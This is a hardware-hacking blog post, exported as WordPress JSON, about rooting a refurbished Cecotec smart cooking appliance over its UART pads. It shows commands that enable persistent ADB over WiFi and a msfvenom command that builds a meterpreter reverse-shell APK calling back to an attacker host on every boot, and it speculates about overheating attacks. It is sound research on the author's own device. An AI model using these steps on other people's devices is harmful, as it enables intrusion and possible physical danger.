{"id":622,"date":"2026-01-23T16:16:54","date_gmt":"2026-01-23T15:16:54","guid":{"rendered":"https:\/\/www.hardwaresecurity.it\/?p=622"},"modified":"2026-01-23T16:16:54","modified_gmt":"2026-01-23T15:16:54","slug":"exploiting-iot-cooking-appliances-with-whidboard-the-hidden-dangers-of-buyingem-refurbished","status":"publish","type":"post","link":"https:\/\/www.hardwaresecurity.it\/?p=622","title":{"rendered":"Exploiting IoT Cooking Appliances with WHIDBOARD & The Hidden Dangers of Buying’em Refurbished"},"content":{"rendered":"\n

Recently I completed the R&D of a new toy called WHIDBOARD (https:\/\/github.com\/whid-injector\/WHIDBOARD<\/a>) and to test it out I have decided to have a look at an IoT Cooking Appliance I bought refurbished from Amazon. The outcome was unexpectedly hilarious!<\/strong><\/p>\n\n\n\n

The Target <\/h3>\n\n\n\n

The DUT of this blogpost is a Smart Cooking appliance called Mambo Touch from Cecotec, a Spanish company.<\/p>\n\n\n\n

<\/figure>\n\n\n\n

This all-in-one cooking device is a multi-functional food processor with 37 functions, that has a 5″ touch screen and can be controlled remotely through its mobile app (as you can see from the images below) and it connects over a WiFi network. <\/p>\n\n\n\n

\"e26b3aee<\/figure><\/div>\n\n\n\n

Since the refurbished one was cheaper\u2026 and I will never use it for cooking anyway\u2026 I went straight for it! <\/p>\n\n\n\n

Refurbished != Factory Reset <\/h3>\n\n\n\n

Usually Amazon allows customers to return some items they do not like or not meet their expectations\u2026 But a legit questions arises\u2026 Where do they end-up next? How do they get refurbished? What about a Factory-Reset BEFORE resale?!<\/em><\/p>\n\n\n\n

After turning it on, I connected to my WiFi network and tried to pair it with the mobile app\u2026 but a funny thing happened. The DUT was already paired with another (probably the older) owner\u2026 Wonder what a DPO would say about this\u2026<\/p>\n\n\n\n

\"ec5d44ea<\/figure><\/div>\n\n\n\n

DUT Teardown <\/h3>\n\n\n\n

From an initial inspection of the exterior is possible to notice an initial clue\u2026 a hidden USB micro port.<\/p>\n\n\n\n

<\/figure>\n\n\n\n
<\/figure>\n\n\n\n

However nothing very interesting happens once plugged into a computer\u2026 The Next step was to open the target\u2026 and among all other components (touch screen, switches, sensors, motors, power supply, etc\u2026) I get welcomed by the mainboard.<\/p>\n\n\n\n

\"7e689e3b<\/figure><\/div>\n\n\n\n

Here we can easily spot the major components:<\/p>\n\n\n\n

    \n
  • A213Y Amlogic SoC<\/li>\n\n\n\n
  • KLM8G1GETF-B041 is a 8GB eMMC flash memory with a FBGA-153 footprint<\/li>\n\n\n\n
  • RS256M16V0DB-107AT DDR SDRAM with a FBGA-96 footprint<\/li>\n<\/ul>\n\n\n\n

    And also some interesting entry point for debugging interfaces\u2026 <\/p>\n\n\n\n

    <\/figure>\n\n\n\n

    But the most interesting entry-point was on the other side\u2026 some test pads labeled with the usual UART debugging interface pinout\u2026 (i.e. GND, RX, TX).<\/p>\n\n\n\n

    \"96c8b9f1<\/figure><\/div>\n\n\n\n

    The next step was straight-forward\u2026 solder couple of wires on those pads and grab my WHIDBOARD and check with Logic Analyzer and Pin Enumerator if that was really a UART debugging interface\u2026
    <\/p>\n\n\n\n

    <\/figure>\n\n\n\n

    First I attached all wires to the Logic Analyzer terminal block of WHIBOARD in order to sniff some data\u2026 and that’s what I got on Pulseview:<\/p>\n\n\n\n

    <\/figure>\n\n\n\n

    Getting Root through UART<\/h3>\n\n\n\n

    Sweet! We easily confirmed that the 3 test pads on the back of the PCB are really a working UART console. We can see the DUT spitting out the boot sequence from the Logic Analyzer. Next let’s try to connect directly with WHIDBOARD and the Pin Enumerator.<\/p>\n\n\n\n

    \"a5747b40<\/figure><\/div>\n\n\n\n

    The Pin Enumerator feature of the WHIDBOARD is based on the (sadly at the End of Life) JTAGultator made by Joe Grand. It allows to discover pins of debugging interfaces like UART, JTAG and SWD. But in my case I used mostly its Passthrough function to communicate with the target connected to its terminal block (and obviously confirm the right UART pins combination).<\/p>\n\n\n\n

    <\/p>\n\n\n\n

    Once confirmed with the Pin Enumerator that effectively I was in front of a UART debug port\u2026 I used the Passthrough function and got greated by a lovely terminal console with root access. BOOM! \ud83d\ude00 \ud83d\ude00<\/p>\n\n\n\n

    \ud83d\ude00<\/p>\n\n\n\n

    What’s Next? <\/h3>\n\n\n\n

    At this point we clearly see that the device can be easily compromised. But I wanted still to mess around anche check how the remote connection works\u2026. <\/p>\n\n\n\n

    First of all, I enabled ADB remote connection over WiFi with the following commands:<\/p>\n\n\n\n

      \n
    • setprop persist.service.adb.enable 1<\/em><\/li>\n\n\n\n
    • setprop service.adb.tcp.port 5555<\/em><\/li>\n\n\n\n
    • start adbd<\/em><\/li>\n<\/ul>\n\n\n\n
      <\/figure>\n\n\n\n

      And confirmed everything was working flawlessly:<\/p>\n\n\n\n

      <\/figure>\n\n\n\n

      Already now we have a remote (i.e. same LAN) persistent connection with the DUT. Since ADB server daemon will persist even after boot. <\/p>\n\n\n\n

      Next was to do some Recon and check around for some juicy stuff\u2026 First I have enumerated the installed apps to check two things: which Android version is running and which are the main apps of the vendor (i.e. Cecotec).<\/p>\n\n\n\n

      The two most interesting apps are:<\/p>\n\n\n\n

        \n
      • package:\/data\/app\/com.zavier.androidrk3326functiontest-1.apk=com.zavier.androidrk3326functiontest<\/li>\n\n\n\n
      • package:\/data\/app\/com.kitchenidea.cecotec.k2501-2.apk=com.kitchenidea.cecotec.k2501<\/li>\n<\/ul>\n\n\n\n
        <\/figure>\n\n\n\n

        However, before continuing checking around I quickly ran the usual Android Settings app (with this command am start -n com.android.settings\/.Settings) to check more info about the OS version\u2026 and as expected the DUT was running an oooold version of Android: 4.4.2.<\/p>\n\n\n\n

        <\/figure>\n\n\n\n

        Ok\u2026 let’s continue digging\u2026 Time for Network Recon!
        Looking at netstat output I can see some connection with Internet IP addresses:<\/p>\n\n\n\n

        <\/figure>\n\n\n\n

        Nothing very fancy, but once strike my curiosity\u2026 obviously since is a backend not under my property\u2026 it was considered out-of-scope and I moved on\u2026<\/p>\n\n\n\n

        <\/figure>\n\n\n\n

        Next, I started looking around for the usual hackers tools that can be used to exfil or reverse-shelling IoT targets\u2026 one-for-all\u2026. His majesty BUSYBOX \ud83d\ude00
        And actually this one came with all the goods:<\/p>\n\n\n\n

        <\/figure>\n\n\n\n

        Only with it, I could exfiltrate, upload, manipulate data and also get a reverseshell with netcat. But let’s move on! Since we already have ADB shell persistent\u2026 no need of busybox this time. \ud83d\ude1b <\/p>\n\n\n\n

        Overall with ADB Explorer I pulled all possible interesting files I found around. However nothing very interesting\u2026 This device doesn’t have microphone nor camera\u2026 we cannot even remotely spy people\u2026 meh\u2026 \ud83d\ude41<\/p>\n\n\n\n

        <\/figure>\n\n\n\n

        APKs Analysis<\/h3>\n\n\n\n

        At this point I switched my focus on the vendor’s APKs:<\/p>\n\n\n\n

          \n
        • package:\/data\/app\/com.kitchenidea.cecotec.k2501-2.apk=com.kitchenidea.cecotec.k250<\/li>\n\n\n\n
        • package:\/data\/app\/com.zavier.androidrk3326functiontest-1.apk=com.zavier.androidrk3326functiontest<\/li>\n<\/ul>\n\n\n\n

           The com.zavier.androidrk3326functiontest-1.apk looks like a functional test suite to check if all sensors and motor drivers are working fine. Consider that this IoT Cooking Appliance has an embedded scale, heater, motor for mixing the food and various sensors. And apparently are all controlled by these two apps (also remotely from the user with its mobile phone\u2026).<\/p>\n\n\n\n

           Regarding the com.kitchenidea.cecotec.k2501-2.apk I quickly noticed that is a copy of the other update.apk found in \/sdcard\/, therefore no need to check both:
          <\/p>\n\n\n\n

          <\/figure>\n\n\n\n

          Looking around that second APK didn’t trigger too many red flags, however it confirmed that the app has full access to all sensors, heather, motor, etc\u2026 in theory we could create a malware that could mess with the victim remotely by sending arbitrary commands on the serial ports\u2026 \ud83d\ude1b<\/p>\n\n\n\n

          <\/figure>\n\n\n\n

          I also doubled-checked if there were other interesting URLs\/IPs hardcoded on those two apps\u2026 but it appear are the usual average junk:<\/p>\n\n\n\n

          <\/figure>\n\n\n\n
          <\/figure>\n\n\n\n

          Since I was running late and annoyed I finally ran MobSF to get a quick overview of those two apps risk level\u2026<\/p>\n\n\n\n

          TL;DR: Nothing too bad. A mediocre app for a mediocre product. 8)<\/p>\n\n\n\n

          <\/figure>\n\n\n\n
          <\/figure>\n\n\n\n

          Overall, is clear that there is potential for weaponizing this device with a custom APK that can be remotely controlled from an attacker and manipulate the internal features in order to create physical damages (i.e. override safety measure?!, overheating the pot?!, etc\u2026). <\/p>\n\n\n\n

          Pranks and Reverse Shell<\/h3>\n\n\n\n

          As last exercise, before wrapping-up and returning this crap to Amazon\u2026 I wanted to check if a meterpreter reverse shell would work out and if through that I could run DOOM or some pranks to my wife\u2026 Well\u2026 \ud83d\ude00 <\/p>\n\n\n\n

          First let’s get a meterpreter APK ready to be pushed with ADB: <\/p>\n\n\n\n

          msfvenom -p android\/meterpreter\/reverse_tcp LHOST=<ATTACKER IP> LPORT=31337 -f raw -o revshell.apk<\/p>\n\n\n\n

          Then let’s push it over ADB and install it:<\/p>\n\n\n\n

          <\/figure>\n\n\n\n

          Now let’s run it:
          <\/p>\n\n\n\n

          <\/figure>\n\n\n\n

          Meanwhile on WHIDOS virtual Machine it was already setup the MSF listener:<\/p>\n\n\n\n

          <\/figure>\n\n\n\n

          Now everytime the device is rebooted will automatically execute the reverse shell and call back the Attacker’s C2:<\/p>\n\n\n\n

          <\/figure>\n\n\n\n

          At this point installing and running DOOM was matter of seconds\u2026 \ud83d\ude00<\/p>\n\n\n\n

          <\/figure>\n\n\n\n
          <\/figure>\n\n\n\n

          <\/h3>\n\n\n\n

          Conclusion: <\/h3>\n\n\n\n

          IoT market is commonly known for being full of vulnerable devices. Unfortunately for the average consumer\u2026 most of the companies do not take Product Security seriously enough. Most of the times, a compromised IoT device may not have a big impact on consumers life\u2026 but in some cases may create physical harm. Like in this case\u2026 where heater and motor are controlled by the app remotely, and a potential attacker could control them too\u2026<\/p>\n\n\n\n

          Moreover, is clear that buying refurbished IoT devices\u2026 sometimes\u2026 may NOT be a wise choice.
          What if I would have left some malicious payload before returning the device back to Amazon?! (Disclaimer: No I did not.)<\/p>\n\n\n\n

          <\/figure>\n\n\n\n

          WANNA BECOME A CERTIFIED HARDWARE HACKER?<\/strong><\/h3>\n\n\n\n

          The Offensive Hardware Hacking Training is a Self-Paced training including Videos, a printed Workbook and a cool Hardware Hacking Kit. And… you get everything shipped home Worldwide! For more info: <\/p>\n\n\n\n

          \n